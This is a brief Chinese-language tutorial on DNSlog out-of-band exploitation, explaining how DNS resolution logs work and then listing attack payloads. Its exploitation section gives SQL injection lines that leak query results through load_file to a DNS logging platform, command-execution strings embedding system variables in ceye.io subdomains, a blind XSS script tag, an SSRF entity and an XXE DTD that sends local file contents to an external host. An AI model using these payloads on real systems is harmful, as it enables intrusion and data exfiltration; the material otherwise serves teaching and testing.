一、介绍
首先我们知道DNS是ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件。
二、原理
首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是*域名,二级域名,三级域名,例如 gaobai.kxsy.com,通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2 上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog。
三、利用
1. sql注入
条件:
数据库root权限
读写权限
windows系统
利用:
发送请求
select load_file(concat('//','平台地址/any'));
查询数据
select load_file(concat('//',(sql语句),'.平台地址/any'));
不能用group_concat,只能limit。
联合注入
union select 1,load_file()
延时注入
and if((select load_file()),1,1)
2. 命令执行
%OS%.fcr3v7.ceye.io ...
查询系统os
3. payload
- xss盲打
"<script src=http://xss.fcr3v7.ceye.io\\aaa></script>"
- SSRF
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
- 命令执行
" ping %PATH%.pxxx.ceye.io ..."
- XXE
XXE漏洞可以解析外部实体,就可以拿来读取本地服务器文件,这时,我们只需把 dtd文件改成这样
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://XXXX.ceye.io/%file;'>" > %all;